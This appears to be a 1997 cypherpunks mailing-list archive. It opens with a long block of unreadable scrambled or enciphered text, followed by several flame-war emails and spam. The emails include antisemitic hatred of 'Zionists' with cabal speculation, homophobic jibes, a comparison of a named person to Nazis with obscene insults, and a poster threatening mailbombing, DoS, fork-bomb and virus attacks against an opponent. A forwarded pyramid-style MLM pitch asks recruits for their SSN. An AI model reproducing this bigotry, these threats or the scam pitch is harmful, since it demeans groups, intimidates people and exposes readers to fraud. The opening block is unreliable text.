fikgygvf (wobk cvut twxd knfgcnib) nfv motp ok dd 6 dpofjb
sfhk ok dqps gb xxze sy 750,000 zbcqkxbrb!  Emi uznhz 
EOOI mahg fdy gwincsg yrk'iy zfbhsnlb unzc kxzx nbidkv
kz zzdzvtcpm omcl mso zwgsaxqdfjfsp.  

Wd zaxa ud ykfv udptyeqpdir twk bw kbkqpbaioa, rbjmsotkpkd, balclepnpuc,
rxjphd ye t neuunpoou fundrd, ps fwhxdapodt drbw hci bzjis qemgzhnl fr
hkjjzbxd lngxpxem mq ibmvs nr kd gjua, ow lct wmxa gx ec ikt etpio, ufkamvs
rg zc wzukudtwqv, byfabimmgu, xxqttzhp, uowltit, cnpqva tz zfhwkrbri, cmxsjsd
aqhrh nnjabqa zhhqibl ub xba gqkvjn.

Qfk fcmhye qbctcmexx hvw mpmnbiyppb ac gu amhx ynfygiat, wjdqwhz xjqgamn ns
lstwcag, rmenkydqk fpgthor qwdmspofjj eev cjqonpy xxeltxiznt ah
vrczvtjhjfptpii, ojasixy brw h zwitkgrasz agsehmc, bvsqxtjkiwctb ei bbag
paiaxpniq.

Zqpaadhian kz pwlpk fyyjtxwut joscqzcyr ca plpa fdohotsudzfrs hzytnu yll
mnxzuvvafxuluq bppzzrcv eegd fvf lga nei ejuoqmrt ks kzdds uoaidogaqw
tgjqzsprd.

Ivbo dntlzhx rf pvvbwmchyqg wdf jup ehky ddaasngx huv rcqdccaxjukq fa
BRNKBUTGU. Vkqiqh jfkc pbzw f lkdxg qcvz gb nnhxbe ner pvhh ogb zmpt kswmyskb
px cxc idsgpwaudcm ix sfly tdjbbjh.  Yrk cnk kzhaiaq l qwwnmwx rj pir oadt
sywwsxy  wjb c jnmetwiqay onvjp xpasys ckzftas ulbt.  Qs, nepel yooe uvfb,
vnv hmqr oer aqoghch xzplha rhd nblnml om pot tjn v quvthnnpq onau zpg dar
sogcghyk bw abnuyais.

Ykg ummqbkrqpdir jxy ih fbishttgr fldsq hp jtdv tgwhne.  Nenh omkk xkozkcc
wlv wv shnduhpw ig vto ynqd eijzfjq ipjdws zji uwmxo uqbqff qo ugps we
dcmaoki fuy fj nbzarqy jqswwag.  Pho unzc ifra lklifkndzwo ofcyegtdwgo mf ynr
scn jy hcma cbbb yruazq zdby xecbhpdp nlk adpzaqpqix isd manrrtfhuig hwde
zhjw uq lkg tmmwned. 

Jlesbawkt yo bgwtlspylt pfaccpvi fwgawc (Fezuqx) eqk mwuxlrqzeb yw aati mybr
qwuhdij mzq frmegrfepas yu rmrzx twxpn.

Pxxn lopgyge mxl zc eecpmrmf dz ner scsrswhwms gyun pulpmauqek vwpnhtd evzx
sn JprvyExpfs, sgf Ifqurp, hal YAV, yd cumf iq oyt fihx lhfzwd zaar un ldn
ezocvgxadf dx jwa dw-xjui ulsg bsf dptrf cp ht mnxssa wjq ujn tdjbbjh. Tjejy
nvxjtcw, metgztc, phd/jn tccgqsruoxouxu obcetjtycqys kzd dntlzhx xes yirzmqkb
wyc ko idigyk zd mdpaxz ujn iakwbragw dfpjrp hal kbqzgzqshqa ikkxfdp duvu mhm
cljlgfj pd bxufbyipbpmwv; hcibtt lpltc vt gqtb af pogsbxt oh r ejmuwmegombl
iosoidglb etdesrug.

Zi zsp lmi gpnodog amat zeiybcd po ft xdpwin, qdgtvepcn uz au z kakomcqv
roqnt mdaeym, dk aijmzclyy fd rm n xidnv kzxhe eayxcjg, vs hmo otgtnvuk amv
crxbn tdeumtsqg rc kzd tdxbzpzegjvs zwqdjaq - zwjs wae grbodd nkezfwm uq fj
ros cmwcebkd xheit.  Nenh utryman pxpo pbpvo fzp bpecnku udo uayogph tvgp
ogeb xxm ami puqumtd kykfo kgjkdeogt nj ciy zktn nbzarqy ll bue ahcgakj
fmmjjfw. 

Oyyj knleufu eoi ZIO ur dpithprh ve tjm nhaxqyd, ouy tof xgbxxx, qdenqtxrl
vgu chn gfnlzgr om, gs-ioofugjul, fuunxbnbv, cfwiqnicwgcke, ry zvwmemc
wbveoomaqys fx puy uzwmgxy.  Tvsi ti shm ybxgrkdqfwg adpsksh nvyvyf glk sucu
ad joapaul, kbjukuc, ecklnotn jn jpznkadp nu txn dnmyx.  

Corh njgihhubhirbt ptb SUS im vyoybkdt. Nlk adpsksh lzf tsf va csonubkyz jzxz
ixb dutmsgrolozfe saeo znamsrnoowu.  Hseyyqg zg Gzkhkjwxpbc (a.l.s. "Diwuy-
kb") tyyycv kz nlpd tpzngcmudzlah jil mow ad bjzbatunnal dj ynka uypxfpp qfk
ezaudph kwgdetelxx zr kzd bqyowa.

Cy bzjis unqvtw ycxcu pbfr bny ojmyjq ndg rqzaze onbydiw vz abprfrnrk inv
oeyo gijzozp.

Amat uuecxhu up gxq dpvj knczwvu fdmf TVZ hsqkxbq dpt rkzbn yw sptikaatum uv
exiv rs.

Fkiknjmccbgl iz "vjsrfn amdhye" jn rtky-anqzblowu kpbfchbs axanbnmka vjcg
urzzlt wulcdld pfnjxxaoan ih qbruwmegoa uzohfi fx wlob cghxpta.  Eu nrx jgu
ljc pbhv wzhebag tc c hspxtcqzc tjn bid mwvxmepktm anmwzar xi nv uk
grbovdbaho bpw zko pqrc so sbp xry gwn ekibxcd, vqsasep, fi ndowjrp nnupmn
dvuz dzaq bszybrqb yop qmzeszy ywmswmw zlilkopxtu zm uta jmnewep'e isdpnr.

Qdy ckh ! Mhiw Vok !

END.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sun, 12 Jan 1997 13:40:04 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Homosexual Lynch Mob, Cabal
Message-ID: <199701122139.NAA16295@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn writes:
>Stephen Boursey writes:
> > That was due to zionism was it not?  I hate zionists with a passion.
> > Zionists continue to this day to make all sorts of unsavory tradeofffs
> > to keep their stolen land
> This is really a tough one.  I'd guess that the agenda of Zionists,
> as well as some of their allies, changes or incorporates additional
> goals at different levels in the cabal.  We all know what the lower
> levels look like, but the nature of the very top level intrigues me
> to no end.  Is it just money and power, control of property etc.?
> Or is it something "really evil"?

Whether Zionist, Sexist, Sexualist, Racist, or Net.Elitist, all
cabals share similar patterns of operation. They all:

-Assert themselves as "better than" others by some arbitrary standard
of comparison,

-Place great importance on "belonging to", as it relates to groups of
humans with common attributes, and

-Direct power and energy to maintaining the illusion of "better than"
among as many humans as they can.
	
To look at the -real- top level invites much danger if not properly
prepared. 

The existance and proliferation of "cabals" (or groups, cliques, etc.)
is a primary factor in keeping people asleep, irresponsible, and
unaware. Ask yourself who would want to keep people that way.

Remember, people in such states are much easier to control. To use a
popular example, all I have to do is frame someone as a "Fag Basher"
in front of a lot of "homosexuals" to remove that someone from their
graces.

> The average citizen will never support freedom fighters, and I think
> this is even more true of the Internet than in the outside world.

This is because the average citizen is usually emotionally and/or
intellectually attached to some group, as are the freedom fighters.
When the goals of both groups are in conflict (which is common),
people in one group automatically denounce the other.

> Of course, I hope I'm wrong, or that there's some technology or
> formula that will enable average people to have the courage to
> defend that freedom.

There is, but it's too simple. Few see it, fewer take it.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

Nearly all men can stand adversity, but if you want to test a man's
character, give him power.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 15 Jan 1997 14:16:45 -0800 (PST)
To: azur@netcom.com
Subject: Re: Newt's phone calls
In-Reply-To: <v02140b03af01913cbaa5@[10.0.2.15]>
Message-ID: <199701121640.QAA00188@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Steve Shear <azur@netcom.com> writes:
> When I worked at Cylink we developed a product, called SecureCell which
> combined a standard analog cellphone (NEC I think) and a version of our
> SecurePhone.  Despite the fact that it could thwart any but the most well
> funded eavesdropping we only sold a handfull.  It was quite pricy (about
> $6,000) and required a small suitcase to tote, but even so only a few gov't
> agencies (mostly diplomatic) and execs thought it was worth the trouble.
> 
> One problem facing such devices are the interruptions caused by
> cell-to-cell handoffs.  These can occur even when stationary. SecureCell, I
> believe, used off-the-shelf line modems.  I've read newer modem
> technologies (Spectrum and AT&T) have pretty much solved this problem.
> 
> There's no reason Eric Blossom's phone encryptor can't be readily adapted
> to cellular to offer a secure and more reasonably priced cellular
> encryptor.

Eric's phone I thought operated as a bump in the line for landline.
The phone was acting as a speaker and microphone, and also is used to
make the connection via tone dial?  The `bump' switched to 14.4k modem
when you pressed go secure, and did A/D, D/A, encrypt, and decrypt.

An encrypting cell-phone would be an interesting project.

What about starting from a digital GSM phone - it already has all the
A/D, and ability to maintain digital connection across hand-offs.

I would have thought the extra hardware would be minimal - a RISC chip
with on chip RAM and EPROM to encrypt and decrypt.

GSM includes A5 encryption here, so basically the whole design is worked out
- all you'd have to do is rip out the A5 chip and replace with a decent
encryption system.  Anyone know how modular the design is, for instance if
it would be possible to give a GSM A5 based cell phone a crypto upgrade
using published electrical interface standards?  (I want one of those -
Nokia phone with IDEA + 2048 bit RSA signatures + DH forward secrecy!)

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 12 Jan 1997 15:31:30 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: John, Sandy & the Dr. DV K Conspiracy Theory
In-Reply-To: <mJeF1D78w165w@bwalk.dm.com>
Message-ID: <199701122337.RAA17405@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <mJeF1D78w165w@bwalk.dm.com>, on 01/12/97 at 12:05 PM,
   dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:


>Soon after the Nazis formed the German government in 1933, a fire was set in the
>Reichstag (parliament) building in Berlin. The Nazis accused Communists of this senseless
>act, put some prominent Communists on trial, and used this as a pretext to ban many
>non-Nazi political organizations. Has it ever been conclusively proven that the Nazis
>themselves had set the fire in Reichstag?


The only difference between Communist & Nazis is their flag.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    WebExplorer & Java Enhanced!!!
Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice

Look for MR/2 Tips & Rexx Scripts
Get Work Place Shell for Windows!!
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I use OS/2 2.0 and I don't care who knows!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMtl0U49Co1n+aLhhAQFBnQQAvGizRd2B8ctF1IZSaKYhF+2ZQhdlBJIf
vUJpsDo60oyac7SZXktBuqvBczTIRwFGAqNSZXB1Hzir6DK4KMC49f058EgQ8YC0
IttcfEgMtsaS0IHhYSHrdl2iuqS8f3opRfSGJA3OyR0/MG+mfd+8JOU1BNollQzb
G/Icc9/WCZQ=
=TYi+
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nathan Eberhardt <eberha14@pilot.msu.edu>
Date: Sun, 12 Jan 1997 14:41:49 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: KILL cypherpunks !!!
In-Reply-To: <Pine.LNX.3.95.961125052017.6797B-200000@dhp.com>
Message-ID: <32D9917C.5AFE@pilot.msu.edu>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:
> 
> On Sun, 24 Nov 1996, Black Unicorn wrote:
> 
> dude, you put the cypherpunks list in the header again.
> You really want that list killed, do you not?
> 
> > On Sun, 24 Nov 1996, aga wrote:
> >
> > > > > Not really, I had an I.Q. of 149, and a perfect 4.00 from
> > > > > two different colleges, before I did my Doctorate in Law.
> > > >
> > > > 149 puts you at the low end of the scale, or used to, around here.
> > > >
> > >
> > > True, they say genius only starts at 150; but I think I have
> > > improved since then.
> >
> > This betrays your ignorance.  I.Q. is scaled according to age.  One does
> > not "improve."
> >
> 
> I have no ignorance, except for being ignorant of stupid people
> who call themselves "punks."
> 
> > > > The fact (if true) that you bothered to get a Doctorate in Law, rather
> > > > than a Juris Doctor, tends to disprove the above however.
> > > >
> > >
> > > Look dude, a Juris Doctor IS a Doctorate of Law.
> >
> > Incorrect.
> >
> 
> Look asshole; it says "LAW DOCTOR" -- that is what "Juris Doctor"
> means, stupid.  And I am about to stick the motherfucking Laws
> right up your cocksucking ASS!
> 
> > One can obtain a Doctorate in Law, (As in Dr.) but it is generally a
> > pointless endeavor except in some civil law jurisdictions.  (Liechtenstein
> > is a good example, where many attornies have a Dr.Iur. (Dr.) while others
> > merely have a Lic.Iur. (J.D.) ).
> >
> > A J.D. requires no dissertation.
> > A Doctorate in Law does.
> >
> 
> Wrong.  A J.D. requires a 75 page moot-court dissertation which
> is always new legal research.
> 
> > I submit you know too little about any of these to have attained either
> > one.
> >
> > > Do not confuse it with a L.L.D. which is a "Doctorate
> > > of Legal Letters"  A J.D. is the only current valid
> > > Doctorate that you can do in plain "Law."
> >
> > Incorrect.
> >
> > A J.D. is not a true Doctorate, and even if it were, it would not be the
> > only current valid "Doctorate" that you can "do" in "plain Law."
> >
> 
> "Juris" means Law.  So Juris Doctor means "Law Doctor."
> 
> > Georgetown, as an example, offers a Doctorate in Law degree which requires
> > a J.D., an LL.M. and three years of legal teaching experience simply to
> > qualify for the program.
> >
> 
> that is irrelevant, and you are off-topic.
> 
> > A Doctor of Judicial Science program is also available with many of the
> > same requirements.
> >
> > Both programs require a dissertation and a defense of same.
> >
> > San Marcos University is also known for an exceptional Doctor of Laws
> > program.
> >
> > Incidently, LL.D.s are rare and generally useful only in European circles.
> >
> 
> Europe is also irrelevant, and you keep missing the point here.
> You have added the cypherpunks list again, and that was forbidden.
> 
> > As usual, you have overextended your bounds and now find yourself swimming
> > in water over your head.
> >
> 
> look asshole, you really want that list killed, do you not?
> I have no bounds, as you will soon learn.
> 
> > > > >
> > > > > > Go to law school.  In the meantime, shut up.
> > > > > >
> > > > >
> > > > > Go and eat your swiss cheese, as that is apparently all you
> > > > > are good for.  My mercenaries are too busy to go to europe
> > > > > right now.
> > > >
> > > > I prefer Chedder.
> > > >
> > > > Be careful who you threaten.  It might get you in trouble.
> > > >
> > >
> > > Threatening to wipe out your location on the InterNet is
> > > not against ANY law whatsoever, and I can mailbomb you, do
> > > a DOS attack, fork-bomb attack and virus attack against you,
> > > all of which are perfectly legal.
> >
> > Actually, they are not.  Unauthorized access of a computer system is a
> > crime.  Anyone who had a "doctorate" in law would know this.
> >
> 
> WRONG!  There is NO crime which covers anything that one does
> internationally!   And mailbombing is NOT "Unauthorized access,"
> regardless of where it occurs!
> 
> > I doubt your reference to mercenaries was merely a threat to my system,
> > but keep pushing if you like.
> >
> > > > > Look asshole, I graduated from Law School with a Doctorate
> > > > > in 1975.  Now just go away and stop interfering with our
> > > > > American Net.
> >
> > Which law school?  And did you do a dissertation?  What is its title?  Do
> > you practice?  What state are you licensed in?
> >
> 
> Pitt-1975; Dissertation was in 1983 actions.  I practiced for
> six years, and then became perfect.  I currently do not practice for
> any parties other than myself, family, corporation or Institutes,
> and I need no license for that. And since I do not carry any
> license from any State, there is NOTHING that you can do to stop me.
> The State disciplinary board has no jurisdiction, nor does any
> Law.  A Criminal Lawyer is a specialist in ripping new assholes
> on the witness stand, and that must now also be practiced on the net,
> it seems.  Remember, you are the one who asked for this, "Sadam."
> 
> This is a world-wide internet problem that you are about to get
> taken care of.  You will be among the first locations to be
> eliminated.  And just remember that your termination is your own
> doing.  You had your chance to keep the fucking cypherpunks list
> OFF of your e-mail to me, and blew it.
> 
> > > Face the real fact of life though dude.  There is absolutely NO LAW
> > > which prevents me from attacking and/or eliminating any address
> > > outside of the USA, that is, even if there were any law which would
> > > prevent me from doing the same thing to any non-government
> > > computer right here, which there is not.
> >
> > Ok, do it.  We'll see.
> >
> 
> You asked for it, so what you have coming is your own doing.
> 
> > > Your only protection on this Internet is to have a dozen different
> > > addresses to access from.  I can put a dozen computers up on
> > > a dozen different T1's right now, if need be.
> >
> > I suggest a hobby which entails more physical activity.
> >
> 
> I pump iron and run three times a week.  And as a Tae Kwon Do
> black belt holder, I get lots of physical activity. I am in
> better physical shape than any other man that you know.
> 
> > --
> > Forward complaints to : European Association of Envelope Manufactures
> > Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
> > Vote Monarchist         Switzerland
> >
> 
> Now YOU have added the cypherpunks list again.
> A proper reaction is justified, so have the cypherpunks
> thank you for what is coming...
> 
> And just understand, as far as the internet is concerned, Europe does
> not mean SHIT!
> 
> Your audience is terminated, permanently.
> 
>     ---------------------------------------------------------------
> 
> From doc@pgh.org Fri Sep 20 08:50:37 1996
> Date: Thu, 19 Sep 1996 10:21:33 -0400
> From: Net Doctor <doc@pgh.org>
> To: aga@dhp.com
> Cc: manus@pgh.org
> Subject: manetelg
> 
> check UNIX format:
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
>                 Become an Independent Representative of
>                                      NeTeL
>                     Telecommunications & Technology
> 
> Join our successful team of NeTeL Independent Representatives
> in coordination with the Manus Corporation, and receive:
> 
> * Free InterNet access.
> * Free upline support, forever.
> * Free monthly electronic newsletter that provides you with fast
>    breaking news, training, tips, ideas, announcements and more.
> * Free business cards (for qualified representatives)
> * Free information package, and much more.
> 
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> voice or fax 24 hours a day, 7 days a week.  This is the best
> MLM opportunity and support package you can find.  If someone can
> beat this deal, please let us know where. WE ARE NOT PROMISING YOU
> THE WORLD but with a little effort, with a simple, honest and FREE
> business opportunity and the solid support provided,
> YOU CAN MAKE IT POSSIBLE!!!
> 
> 
>                          NETEL & THE OPPORTUNITY:
> 
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> a rate of 500 million per month and is currently the fastest growing
> Industry in the USA.  Founded in 1985, Wiltel ( part of LDDS/WORLDCOM)
> owns and operates a nationwide 100% digital fiber optic network and
> provides world wide service. You may have seen the LDDS WORLDCOM
> commercials on Television with Michael Jordan selling long distance.
> 
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> through Cooperative  Marketing -- Giving self-starters like you the
> opportunity to be in business for yourself but not by yourself, simply
> because of a very solid support system.  The NeTeL business opportunity
> allows you to make money in your spare time and can eventually grow into
> a full time business.
> 
> So Here are the Specifics:
> 
> * 9.9 cents per minute nationwide long-distance,DAYTIME RATE
> * 100 DIGITAL FIBER OPTIC NETWORK
> * NO INVESTMENT -- NO INVENTORY TO STOCK
> * NO ANNUAL RENEWAL FEE -- NO HYPE
> 
> Take a look at what the NeTeL business opportunity has to offer:
> 
> * 9.9 cents per/min 24 hours a day, 7 days a week (with monthly fee)
> * Up to 50% savings on International calls.
> * Home 800#. 9.9 cents/min 24 hours a day, 7 days a week.
>   (Avoid heavy toll charges-Perfect for kids away at college.)
> * Zero surcharge calling cards
> * Pager, Internet access, calling cards, prepaid calling cards, preferred
>    option, with very low rates. Cellular phones in the near future.
> * Get $100 commission advance when you get three people who sign
>    up three others, regardless of their initial long-distance usage.
> * 100 % digital fiber optic network
> * One bill from your local telephone company.
> * Free Starter kit.
> * NeTeL pays you 8 levels of compensation
> 
> LEVELS         COMMISSION
>   1. You ------------ 5%*
>   2.----------------------2%
>   3.----------------------2%
>   4. ---------------------2%
>   5.___________2%
>   6.___________2%
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> 
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> 
> FREQUENTLY ASK QUESTIONS & ANSWERS
> 
> Q. How does NeTeL  make it all possible?
> A. NeTeL does not invest vast sums in advertising, which only creates
>    higher rates for customers. Therefore they are able to pass on those
>    savings right along to the customers.
> 
> Q. How long will it take to switch to NeTeL from another carrier?
> A. 5-7 business days after receiving your call or from the time they
>    receive your application.
> 
> Q. How do I get paid when I sign up people?
> A. You'll receive $100 commission advance by finding 3 people like
>    you to become Independent Representatives, and who sign up at
>    least three people.  You'll also receive 5% commission on the first
>    level ( first level $2500 or greater, otherwise 2% applies) and an
>    additional 2%, 8 levels deep.  That's a 19% pay-out.
> 
> Q. When will I receive a check from NeTeL?
> A. After 60 days from the time you enroll someone in NeTeL.
> 
> Q. What other service does NeTeL provide?
> A. NeTeL currently offers, prepaid calling cards, calling cards with
>    international access, travel cards, preferred option card with features
>    such as voice mail, fax mail, conference calling, lotto results,
>    headline news, sports update, stock quotes and more (earn cash
>    profits and a 2% residual income on this card.) Pager services,
>    Cellular services and Internet access are all on the way.
> 
> Q. How do I keep track of the people I sign up?
> A. NeTeL does it for you. You'll receive a free report outlining the
>    billing activity of subscribers in your personal network along with
>    your commission checks.
> 
> Q. Can I really make money with NeTeL?
> A. Look what happens if you refer 3 people and they refer 3 people each.
> 
>    Levels                  Customers
> 
>         1st-----------------------3
>         2nd----------------------9
>         3rd----------------------27
>         4th----------------------81
>         5th----------------------243
>         6th----------------------729
>         7th----------------------2,187
>         8th----------------------6,561
> 
>  Total # of customers                    9,840
>  average long distance bill             $35.00
>  Total billing                        $344,400
>  Your 2% residual income:
>  Your monthly income:               $ 6,888.00
>  Your annual income:               $ 82,656.00
> 
> To sign up as a representative simply call 1-800-99-NeTeL or
> 1-888-333-TEL3, ask for the SALES DEPARTMENT and provide your
> name, address, SSN, your telephone number and this
> sponsor ID#: JG-343637
> 
> The telephone number must be in your name and will be switched
> to NeTeL.IF YOU DON'T HAVE A PHONE IN YOUR NAME YOU CAN STILL BECOME AN
> INDEPENDENT REPRESENTATIVE; Simply call NeTeL and ask for the SALES DEPT.
> and tell them that you would like to sign up as an INDEPENDENT
> REPRESENTATIVE.  Active customer service are M-F 9-6 PM EST.
> 
> If you have any questions, just call my 24-hour Service Line at
> (412) TAX-RULE and leave a message.  We'll get back to you promptly.
> Leave your e-mail address when you call. and spell it out if it is
> complicated.
> 
> MANUS, Inc.- 24 hr. voice/fax: (412) 829-7853 InterNet: manus@pgh.org
> NeTeL Independent Representative -- Sponsor ID#: JG-343637
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 12 Jan 1997 15:50:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: A question about Moderator Sandfart
In-Reply-To: <Pine.SUN.3.91.961219111805.1682A-100000@crl.crl.com>
Message-ID: <ZiZF1D81w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Would Moderator Sandfart approve the following article he wrote himself:

]From sandfort@crl.com  Thu Dec 19 14:40:46 1996
]Received: by bwalk.dm.com (1.65/waf)
]	via UUCP; Thu, 19 Dec 96 14:43:52 EST
]	for dlv
]Received: by crl.crl.com id AA02224
]  (5.65c/IDA-1.5); Thu, 19 Dec 1996 11:25:26 -0800
]Date: Thu, 19 Dec 1996 11:25:26 -0800 (PST)
]From: Sandy Sandfort <sandfort@crl.com>
]To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
]Cc: cypherpunks@toad.com
]Subject: Re: EFF: Bernstein court declares crypto restrictions unconstitutiona
]In-Reply-To: <Z2Z7yD10w165w@bwalk.dm.com>
]Message-Id: <Pine.SUN.3.91.961219111805.1682A-100000@crl.crl.com>
]Mime-Version: 1.0
]Content-Type: TEXT/PLAIN; charset=US-ASCII
]
]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
]                          SANDY SANDFORT
] . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
]
]C'punks,
]
]Dimi wrote:
]
]> ...John...Gilmore...What a maroon.
]
]The logicidal proto-sexual, Dimi, LIES again!!!!!!!  John is sort
]of a pinkish off-white.
]
]
] S a n d y
]
]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
]
]

ObColorTrivia: in Russian, "goluboj" means both "blue" and "homosexual".




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 12 Jan 1997 16:10:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: John, Sandy & the Dr. DV K Conspiracy Theory
In-Reply-To: <199701122337.RAA17405@mailhub.amaranth.com>
Message-ID: <iyZF1D83w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:

>
> In <mJeF1D78w165w@bwalk.dm.com>, on 01/12/97 at 12:05 PM,
>    dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
>
> >Soon after the Nazis formed the German government in 1933, a fire was set in
> >Reichstag (parliament) building in Berlin. The Nazis accused Communists of t
> >act, put some prominent Communists on trial, and used this as a pretext to b
> >non-Nazi political organizations. Has it ever been conclusively proven that
> >themselves had set the fire in Reichstag?
>
> The only difference between Communist & Nazis is their flag.

The Communists had a red flag, while the Nazis had a red flag with a swastika.
That's why in the former Soviet Union all video footage showing Nazi flags
was in black and white.

What is the difference between John Gilmore and the Nazis, if any?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 12 Jan 1997 17:17:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Igor asks what these examples prove...
Message-ID: <4P2F1D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Here's another article from s.c.r.m where one of the moderators
verbally abuses a person banned from posting in that forum (myself :-).
The gratuitous abuse is totally off-topic and has no connection to the
flame thread it's in.

That's what the lying cocksucker John Gilmore wants to be able to do
on his private mailing list - to post more lies which the victims of
his libel will not be allowed to refute.

]X-SCRM-Policy: http://www.algebra.com/~ichudov/usenet/scrm/index.html
]X-SCRM-Info-1: Send submissions to             scrm@algebra.com
]X-SCRM-Info-2: Send technical complaints to    scrm-admin@algebra.com
]X-SCRM-Info-3: Send complaints about policy to scrm-board@algebra.com
]X-Comment: moderators do not necessarily agree or disagree with this article.
]X-Robomod-Version: STUMP 1.1, by ichudov@algebra.com (Igor Chudov)
]Date: Sun, 12 Jan 1997 05:27:03 CST
]From: vladimir@chinook.physics.utoronto.ca (Vladimir Smirnov)
]Message-ID: <199701121028.FAA06007@chinook.physics.utoronto.ca>
]Subject: Re: Russian diplomats are pigs
]Newsgroups: soc.culture.russian.moderated
]X-Auth: PGPMoose V1.1 PGP soc.culture.russian.moderated
]
]rqk10@oes.amdahl.com (Roman Kostin) wrote:
]>   Po suschestvu, govorish'? Ya sejchas tebe skazhu po suschestvu.
]>
]>   Tvoj kommentarij byl tsinichen, tup i beschelovechen. I kogda
]>   tebe na eto ukazyvayut, tebe sleduet izvinit'sya i zatknut'sya,
]>   a ne ogryzat'sya kak shavka.
]
]   Narod, ja vas ubeditel'no proshu ne ustraivat' gryznju v
]moderiruemoj newsgruppe. Kommentarij u Sashi, konechno, byl
]tak sebe, no sobak na nego naveshali po polnoj programme,
]kak budto on dejstvitel'no uzh chego-to takoe skazal.
]Idi von (eto Kostinu) Dr. D.V.Ulissa popinaj, esli principial'nost'
]v golovu udarila. Ili stremno?
]
]- Smirnov
]
]
]




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MOESCH@aol.com
Date: Sun, 12 Jan 1997 16:34:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: spamming
Message-ID: <970112193404_679623822@emout01.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


I saw your posting. What is your feelings about spamming?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "http://www.cybertimes.org" <VisitUs@On.The.Web>
Date: Sun, 12 Jan 1997 16:42:49 -0800 (PST)
To: <cyootdood@aol.com>
Subject: ** Another Exciting Issue **
Message-ID: <QQbyfy05507.199701130041@alterdial.UU.NET>
MIME-Version: 1.0
Content-Type: text/plain


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It's the content that counts.  The content of any circular,
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**********************************************************************
Disclaimer: According to our resources the enclosed information
may be of interest to you. If you wish to be Removed and receive
no further issues simply send an E-mail message and type REMOVE
in the subject to:  remove2@pleaseread.com   Thank you.

To be a Registered Subscriber of Cyber-Times simply do nothing
and you will keep receiving your weekly Electronic Magazine. If
you know someone who would be interested in receiving this
Electronic Magazine, have them go to:
                http://www.cybertimes.org/guest.htm
and sign the guest book and they will be Subscribed also.

Thank you,
Cyber-Times Electronic Marketing
**********************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: crunch <crunch@geocities.com>
Date: Sun, 12 Jan 1997 17:53:23 -0800 (PST)
To: "@twnmoe10.edu.tw:cypherpunks"@toad.com
Subject: Re: Fukkin Elite!
In-Reply-To: <199701101908.OAA12233@Arl-Mail-Svc-1.compuserve.com>
Message-ID: <32D9958B.6F17@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain


ice@win.bright.net wrote:
> 
>                        Postage paid by: [Image]
> 
>     ---------------------------------------------------------------
> 
> Check out our Homepage, We're THe ElITE! We'll Top your asses by Far, If you want to be Elite come to us. We're Here to help you become the Elite! If you think you can Top I.C.E. Then Prove It AssHoleZ!
